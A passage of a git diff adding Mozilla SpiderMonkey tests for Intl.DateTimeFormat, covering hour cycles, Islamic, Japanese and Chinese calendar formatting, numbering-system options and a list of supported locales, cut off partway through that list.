+ let dtf = Intl.DateTimeFormat("en-u-hc-h11", {hour: "numeric", hourCycle: "h24"});
+ assertEq(
+ dtf.resolvedOptions().locale,
+ "en"
+ );
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h24"
+ );
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/implied-script-has-consistent-output.js b/js/src/tests/non262/Intl/DateTimeFormat/implied-script-has-consistent-output.js
new file mode 100644
index 0000000000..6c0b4d2f59
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/implied-script-has-consistent-output.js
@@ -0,0 +1,59 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+// Retrieve all available locales of Intl.DateTimeFormat.
+const available = getAvailableLocalesOf("DateTimeFormat");
+
+const options = [
+ // Include "hour" to catch hour cycle differences.
+ //
+ // For example "ff-Latn-GH" (Fulah as spoken in Ghana) uses a 12-hour clock,
+ // whereas "ff" (Fulah) uses a 24-hour clock. When the user creates the
+ // formatter for "ff-GH", it should use the same formatter data as "ff-Latn-GH"
+ // and it shouldn't fallback to "ff".
+ {hour: "2-digit", minute: "2-digit", timeZone: "UTC"},
+
+ // Include "timeZoneName" to catch script differences, e.g traditional or
+ // simplified Chinese characters.
+ {timeZoneName: "long", timeZone: "America/Los_Angeles"},
+];
+
+// Pick a date after 12 pm to catch any hour cycle differences.
+const date = Date.UTC(2021, 6-1, 7, 15, 0);
+
+available.map(x => {
+ return new Intl.Locale(x);
+}).filter(loc => {
+ // Find all locales which have both a script and a region subtag.
+ return loc.script && loc.region;
+}).filter(loc => {
+ // Skip "sd-Deva-IN" and Fulah because of <https://unicode-org.atlassian.net/browse/ICU-21974>.
+ return !((loc.language === "sd" && loc.script === "Deva" && loc.region === "IN") ||
+ (loc.language === "ff" && (loc.script === "Adlm" || loc.script === "Latn") &&
+ (loc.region === "GH" || loc.region === "GM" || loc.region === "LR" || loc.region === "SL"))
+ );
+}).forEach(loc => {
+ // Remove the script subtag from the locale.
+ let noScript = new Intl.Locale(`${loc.language}-${loc.region}`);
+
+ // Add the likely script subtag.
+ let maximized = noScript.maximize();
+
+ for (let opt of options) {
+ // Formatter for the locale without a script subtag.
+ let df1 = new Intl.DateTimeFormat(noScript, opt);
+
+ // Formatter for the locale with the likely script subtag added.
+ let df2 = new Intl.DateTimeFormat(maximized, opt);
+
+ // The output for the locale without a script subtag should match the output
+ // with the likely script subtag added.
+ assertEq(df1.format(date), df2.format(date), `Mismatch for locale "${noScript}" (${maximized})`);
+ }
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/islamic.js b/js/src/tests/non262/Intl/DateTimeFormat/islamic.js
new file mode 100644
index 0000000000..3a88590ea5
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/islamic.js
@@ -0,0 +1,89 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function civilDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-islamic-civil-nu-latn", opts).format(date);
+}
+
+function tabularDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-islamic-tbla-nu-latn", opts).format(date);
+}
+
+function sightingDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-islamic-rgsa-nu-latn", opts).format(date);
+}
+
+function ummAlQuraDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-umalqura-nu-latn", opts).format(date);
+}
+
+// Test islamic-tbla (Tabular / Thursday epoch).
+// Compare with islamic-civil (Tabular / Friday epoch).
+function testIslamicTbla() {
+ var date = new Date(Date.UTC(2015, 1 - 1, 1));
+
+ // Month and year are the same.
+ var monthYear = {year: "numeric", month: "numeric"};
+ assertEq(civilDate(monthYear, date), tabularDate(monthYear, date));
+
+ // Day is different by one.
+ var day = {day: "numeric"};
+ assertEq(Number(civilDate(day, date)) - Number(tabularDate(day, date)), -1);
+}
+
+// Test islamic-rgsa (Saudi Arabia sighting).
+// Sighting of the hilal (crescent moon) in Saudi Arabia.
+function testIslamicRgsa() {
+ var date1 = new Date(Date.UTC(1975, 5 - 1, 6));
+ var date2 = new Date(Date.UTC(2015, 1 - 1, 1));
+ var dayMonthYear = {year: "numeric", month: "numeric", day: "numeric"};
+
+ assertEq(sightingDate(dayMonthYear, date1), tabularDate(dayMonthYear, date1));
+ assertEq(sightingDate(dayMonthYear, date2), civilDate(dayMonthYear, date2));
+}
+
+// Test islamic-umalqura (Umm al-Qura).
+function testIslamicUmalqura() {
+ var year = {year: "numeric"};
+ var month = {month: "numeric"};
+ var day = {day: "numeric"};
+
+ // From ICU test files, which in turn was generated from:
+ // Official Umm-al-Qura calendar of SA:
+ // home, http://www.ummulqura.org.sa/default.aspx
+ // converter, http://www.ummulqura.org.sa/Index.aspx
+ var dates = [
+ [ {year: 2016, month: 1, day: 11}, {year: 1437, month: 4, day: 1} ],
+ [ {year: 2016, month: 2, day: 10}, {year: 1437, month: 5, day: 1} ],
+ [ {year: 2016, month: 3, day: 10}, {year: 1437, month: 6, day: 1} ],
+ [ {year: 2016, month: 4, day: 8}, {year: 1437, month: 7, day: 1} ],
+ [ {year: 2016, month: 5, day: 8}, {year: 1437, month: 8, day: 1} ],
+ [ {year: 2016, month: 6, day: 6}, {year: 1437, month: 9, day: 1} ],
+ [ {year: 2016, month: 7, day: 6}, {year: 1437, month: 10, day: 1} ],
+ [ {year: 2016, month: 8, day: 4}, {year: 1437, month: 11, day: 1} ],
+ [ {year: 2016, month: 9, day: 2}, {year: 1437, month: 12, day: 1} ],
+ [ {year: 2016, month: 10, day: 2}, {year: 1438, month: 1, day: 1} ],
+ [ {year: 2016, month: 11, day: 1}, {year: 1438, month: 2, day: 1} ],
+ [ {year: 2016, month: 11, day: 30}, {year: 1438, month: 3, day: 1} ],
+ [ {year: 2016, month: 12, day: 30}, {year: 1438, month: 4, day: 1} ],
+ ];
+
+ for (var [gregorian, ummAlQura] of dates) {
+ var date = new Date(Date.UTC(gregorian.year, gregorian.month - 1, gregorian.day));
+
+ // Use parseInt() to remove the trailing era indicator.
+ assertEq(parseInt(ummAlQuraDate(year, date), 10), ummAlQura.year);
+ assertEq(Number(ummAlQuraDate(month, date)), ummAlQura.month);
+ assertEq(Number(ummAlQuraDate(day, date)), ummAlQura.day);
+ }
+}
+
+testIslamicTbla();
+testIslamicRgsa();
+testIslamicUmalqura();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js b/js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js
new file mode 100644
index 0000000000..e972d2e55a
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var dtf = new Intl.DateTimeFormat("ja-u-ca-japanese", {
+ era: "short",
+ timeZone: "Asia/Tokyo",
+});
+
+var endShowa = new Date("1989-01-07T00:00:00.000Z");
+var startHeisei = new Date("1989-01-08T00:00:00.000Z");
+
+assertEq(dtf.format(endShowa), "昭和64/1/7");
+assertEq(dtf.format(startHeisei), "平成1/1/8");
+
+var parts = dtf.formatToParts(startHeisei);
+assertEq(parts.filter(p => p.type === "era")[0].value, "平成");
+assertEq(parts.filter(p => p.type === "year")[0].value, "1");
+
+var dtf = new Intl.DateTimeFormat("ja-u-ca-japanese", {
+ era: "short",
+ year: "numeric",
+ month: "long",
+ day: "numeric",
+ timeZone: "Asia/Tokyo",
+});
+
+assertEq(dtf.format(endShowa), "昭和64年1月7日");
+assertEq(dtf.format(startHeisei), "平成元年1月8日");
+
+var parts = dtf.formatToParts(startHeisei);
+assertEq(parts.filter(p => p.type === "era")[0].value, "平成");
+assertEq(parts.filter(p => p.type === "year")[0].value, "元");
+
+// ICU returns mixed numbers when an explicit numbering system is present.
+
+var dtf = new Intl.DateTimeFormat("ja-u-ca-japanese-nu-arab", {
+ era: "short",
+ timeZone: "Asia/Tokyo",
+});
+
+assertEq(dtf.format(endShowa), "昭和٦٤/١/٧");
+assertEq(dtf.format(startHeisei), "平成١/١/٨");
+
+var dtf = new Intl.DateTimeFormat("ja-u-ca-japanese-nu-arab", {
+ era: "short",
+ year: "numeric",
+ month: "numeric",
+ timeZone: "Asia/Tokyo",
+});
+
+assertEq(dtf.format(endShowa), "昭和64年١月");
+assertEq(dtf.format(startHeisei), "平成元年١月");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js b/js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js
new file mode 100644
index 0000000000..7db314d413
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!this.hasOwnProperty("addIntlExtras"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+let mozIntl = {};
+addIntlExtras(mozIntl);
+
+// Pattern
+
+var dtf = new Intl.DateTimeFormat("en-US", {pattern: "HH:mm MM/dd/YYYY"});
+var mozDtf = new mozIntl.DateTimeFormat("en-US", {pattern: "HH:mm MM/dd/YYYY"});
+
+assertEq(dtf.resolvedOptions().hasOwnProperty('pattern'), false);
+assertEq(mozDtf.resolvedOptions().pattern, "HH:mm MM/dd/YYYY");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js b/js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js
new file mode 100644
index 0000000000..474910da47
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js
@@ -0,0 +1,60 @@
+const defaultLocale = "en";
+const defaultNumberingSystem = new Intl.DateTimeFormat(defaultLocale).resolvedOptions().numberingSystem;
+
+function createWithLocale(locale, numberingSystem) {
+ return new Intl.DateTimeFormat(locale, {numberingSystem});
+}
+
+function create(numberingSystem) {
+ return createWithLocale(defaultLocale, numberingSystem);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("latn\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("latn-toolongstring"), RangeError);
+
+// |numberingSystem| can be set to |undefined|.
+let dtf = create(undefined);
+assertEq(dtf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Unsupported numbering systems are ignored.
+dtf = create("xxxxxxxx");
+assertEq(dtf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Numbering system in options overwrite Unicode extension keyword.
+dtf = createWithLocale(`${defaultLocale}-u-nu-thai`, "arab");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().numberingSystem, "arab");
+
+// |numberingSystem| option ignores case.
+dtf = create("ARAB");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().numberingSystem, "arab");
+
+for (let [numberingSystem, {algorithmic}] of Object.entries(numberingSystems)) {
+ let dtf1 = new Intl.DateTimeFormat(`${defaultLocale}-u-nu-${numberingSystem}`);
+ let dtf2 = new Intl.DateTimeFormat(defaultLocale, {numberingSystem});
+
+ if (!algorithmic) {
+ assertEq(dtf1.resolvedOptions().numberingSystem, numberingSystem);
+ assertEq(dtf2.resolvedOptions().numberingSystem, numberingSystem);
+ } else {
+ // We don't yet support algorithmic numbering systems.
+ assertEq(dtf1.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ assertEq(dtf2.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ }
+
+ assertEq(dtf2.format(0), dtf1.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js b/js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js
new file mode 100644
index 0000000000..e9a13c1534
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var log;
+var proxy = new Proxy({
+ year: "numeric",
+ hour: "numeric",
+}, new Proxy({
+ get(t, pk, r) {
+ log.push(pk);
+ return Reflect.get(t, pk, r);
+ }
+}, {
+ get(t, pk, r) {
+ assertEq(pk, "get");
+ return Reflect.get(t, pk, r);
+ }
+}));
+
+var constructorAccesses = [
+ // ToDateTimeOptions(options, "any", "date").
+ "weekday", "year", "month", "day",
+ "dayPeriod", "hour", "minute", "second", "fractionalSecondDigits",
+ "dateStyle", "timeStyle",
+
+ // InitializeDateTimeFormat
+ "localeMatcher", "calendar", "numberingSystem", "hour12", "hourCycle", "timeZone",
+
+ // Table 5: Components of date and time formats
+ "weekday", "era", "year", "month", "day", "dayPeriod", "hour", "minute", "second",
+ "fractionalSecondDigits", "timeZoneName",
+
+ // InitializeDateTimeFormat
+ "formatMatcher",
+ "dateStyle", "timeStyle",
+];
+
+log = [];
+new Intl.DateTimeFormat(undefined, proxy);
+
+assertEqArray(log, constructorAccesses);
+
+log = [];
+new Date().toLocaleString(undefined, proxy);
+
+assertEqArray(log, [
+ // ToDateTimeOptions(options, "any", "all").
+ "weekday", "year", "month", "day",
+ "dayPeriod", "hour", "minute", "second", "fractionalSecondDigits",
+ "dateStyle", "timeStyle",
+
+ ...constructorAccesses
+]);
+
+log = [];
+new Date().toLocaleDateString(undefined, proxy);
+
+assertEqArray(log, [
+ // ToDateTimeOptions(options, "date", "date").
+ "weekday", "year", "month", "day",
+ "dateStyle", "timeStyle",
+
+ ...constructorAccesses
+]);
+
+log = [];
+new Date().toLocaleTimeString(undefined, proxy);
+
+assertEqArray(log, [
+ // ToDateTimeOptions(options, "time", "time").
+ "dayPeriod", "hour", "minute", "second", "fractionalSecondDigits",
+ "dateStyle", "timeStyle",
+
+ ...constructorAccesses
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/related-year.js b/js/src/tests/non262/Intl/DateTimeFormat/related-year.js
new file mode 100644
index 0000000000..296de04883
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/related-year.js
@@ -0,0 +1,185 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Era, Year, YearName, RelatedYear, Month, Day, Literal
+} = DateTimeFormatParts
+
+const tests = [
+ // Test with non-leap month.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("4"), Literal("/"), Day("1"), Literal("/"), RelatedYear("2020")],
+ "de": [Day("1"), Literal("."), Month("4"), Literal("."), Year("37")],
+ "ja": [YearName("庚子"), Literal("-"), Month("4"), Literal("-"), Day("1")],
+ "zh": [RelatedYear("2020"), Literal("年"), Month("四月"), Day("1")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("-"), Month("٠٤"), Literal("-"), Day("٠١")],
+ }
+ },
+
+ // Test with leap month.
+ {
+ date: new Date("2020-05-23T00:00:00Z"),
+ options: {},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("4bis"), Literal("/"), Day("1"), Literal("/"), RelatedYear("2020")],
+ "de": [Day("1"), Literal("."), Month("4bis"), Literal("."), Year("37")],
+ "ja": [YearName("庚子"), Literal("-"), Month("閏4"), Literal("-"), Day("1")],
+ "zh": [RelatedYear("2020"), Literal("年"), Month("闰四月"), Day("1")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("-"), Month("٠٤bis"), Literal("-"), Day("٠١")],
+ }
+ },
+
+ // Display only "year" field.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {year: "numeric"},
+ calendar: "chinese",
+ locales: {
+ "en": [RelatedYear("2020"), Literal("("), YearName("geng-zi"), Literal(")")],
+ "de": [YearName("geng-zi")],
+ "ja": [YearName("庚子"), Literal("年")],
+ "zh": [RelatedYear("2020"), YearName("庚子"), Literal("年")],
+ "ar": [Year("٣٧")],
+ }
+ },
+
+ // Display only "month" field.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Month")],
+ "de": [Month("M04")],
+ "ja": [Month("四月")],
+ "zh": [Month("四月")],
+ "ar": [Month("M04")],
+ }
+ },
+
+ // Display only "month" field. (Leap month)
+ {
+ date: new Date("2020-05-23T00:00:00Z"),
+ options: {month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Monthbis")],
+ "de": [Month("M04bis")],
+ "ja": [Month("閏四月")],
+ "zh": [Month("闰四月")],
+ "ar": [Month("M04bis")],
+ }
+ },
+
+ // Display "year" and "month" fields.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {year: "numeric", month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Month"), Literal(" "), RelatedYear("2020"), Literal("("), YearName("geng-zi"), Literal(")")],
+ "de": [Month("M04"), Literal(" "), YearName("geng-zi")],
+ "ja": [YearName("庚子"), Literal("年"), Month("四月")],
+ "zh": [RelatedYear("2020"), YearName("庚子"), Literal("年"), Month("四月")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("("), YearName("geng-zi"), Literal(") "), Month("M04")],
+ }
+ },
+
+ // Display "year" and "month" fields. (Leap month)
+ {
+ date: new Date("2020-05-23T00:00:00Z"),
+ options: {year: "numeric", month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Monthbis"), Literal(" "), RelatedYear("2020"), Literal("("), YearName("geng-zi"), Literal(")")],
+ "de": [Month("M04bis"), Literal(" "), YearName("geng-zi")],
+ "ja": [YearName("庚子"), Literal("年"), Month("閏四月")],
+ "zh": [RelatedYear("2020"), YearName("庚子"), Literal("年"), Month("闰四月")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("("), YearName("geng-zi"), Literal(") "), Month("M04bis")],
+ }
+ },
+
+ // Related year in traditional Korean calendar.
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "dangi",
+ locales: {
+ "en": [Month("11"), Literal("/"), Day("26"), Literal("/"), RelatedYear("2018")],
+ "ko": [RelatedYear("2018"), Literal(". "), Month("11"), Literal(". "), Day("26"), Literal(".")],
+ }
+ },
+
+ // Allowing the calendar to modify the pattern selection choice can result in falling back to
+ // the root locale patterns in more cases. That can result in displaying the era field by
+ // default, among other things.
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "buddhist",
+ locales: {
+ "en": [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("2562"), Literal(" "), Era("BE")],
+ "th": [Day("1"), Literal("/"), Month("1"), Literal("/"), Year("2562")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "hebrew",
+ locales: {
+ "en": [Day("24"), Literal(" "), Month("Tevet"), Literal(" "), Year("5779")],
+ "he": [Day("24"), Literal(" ב"), Month("טבת"), Literal(" "), Year("5779")],
+ "fr": [Day("24"), Literal("/"), Month("04"), Literal("/"), Year("5779"), Literal(" "), Era("A. M.")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "islamic",
+ locales: {
+ "en": [Month("4"), Literal("/"), Day("25"), Literal("/"), Year("1440"), Literal(" "), Era("AH")],
+ "ar": [Day("٢٥"), Literal("\u200F/"), Month("٤"), Literal("\u200F/"), Year("١٤٤٠"), Literal(" "), Era("هـ")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "japanese",
+ locales: {
+ "en": [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("31"), Literal(" "), Era("H")],
+ "ja": [Era("H"), Year("31"), Literal("/"), Month("1"), Literal("/"), Day("1")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "persian",
+ locales: {
+ "en": [Month("10"), Literal("/"), Day("11"), Literal("/"), Year("1397"), Literal(" "), Era("AP")],
+ "fa": [Year("۱۳۹۷"), Literal("/"), Month("۱۰"), Literal("/"), Day("۱۱")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "roc",
+ locales: {
+ "en": [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("108"), Literal(" "), Era("Minguo")],
+ "zh-Hant-TW": [Era("民國"), Year("108"), Literal("/"), Month("1"), Literal("/"), Day("1")],
+ }
+ },
+];
+
+for (let {date, options, calendar, locales} of tests) {
+ for (let [locale, result] of Object.entries(locales)) {
+ let df = new Intl.DateTimeFormat(`${locale}-u-ca-${calendar}`, {timeZone: "UTC", ...options});
+ assertParts(df, date, result);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/shell.js b/js/src/tests/non262/Intl/DateTimeFormat/shell.js
new file mode 100644
index 0000000000..c2f9e7138b
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/shell.js
@@ -0,0 +1,34 @@
+function GenericPartCreator(type) {
+ return str => ({ type, value: str });
+}
+
+const DateTimeFormatParts = {
+ Weekday: GenericPartCreator("weekday"),
+ Era: GenericPartCreator("era"),
+ Year: GenericPartCreator("year"),
+ YearName: GenericPartCreator("yearName"),
+ RelatedYear: GenericPartCreator("relatedYear"),
+ Month: GenericPartCreator("month"),
+ Day: GenericPartCreator("day"),
+ DayPeriod: GenericPartCreator("dayPeriod"),
+ Hour: GenericPartCreator("hour"),
+ Minute: GenericPartCreator("minute"),
+ Second: GenericPartCreator("second"),
+ FractionalSecond: GenericPartCreator("fractionalSecond"),
+ TimeZoneName: GenericPartCreator("timeZoneName"),
+ Unknown: GenericPartCreator("unknown"),
+ Literal: GenericPartCreator("literal"),
+};
+
+function assertParts(df, x, expected) {
+ var parts = df.formatToParts(x);
+ assertEq(parts.map(part => part.value).join(""), df.format(x),
+ "formatToParts and format must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ }
+}
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js b/js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js
new file mode 100644
index 0000000000..c8aab5888e
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+for (let weekday of ["long", "short", "narrow"]) {
+ let dtf = new Intl.DateTimeFormat("en", {weekday});
+ let options = dtf.resolvedOptions();
+
+ assertEq(options.weekday, weekday);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js b/js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js
new file mode 100644
index 0000000000..b957f9cd60
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js
@@ -0,0 +1,371 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// date and time formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
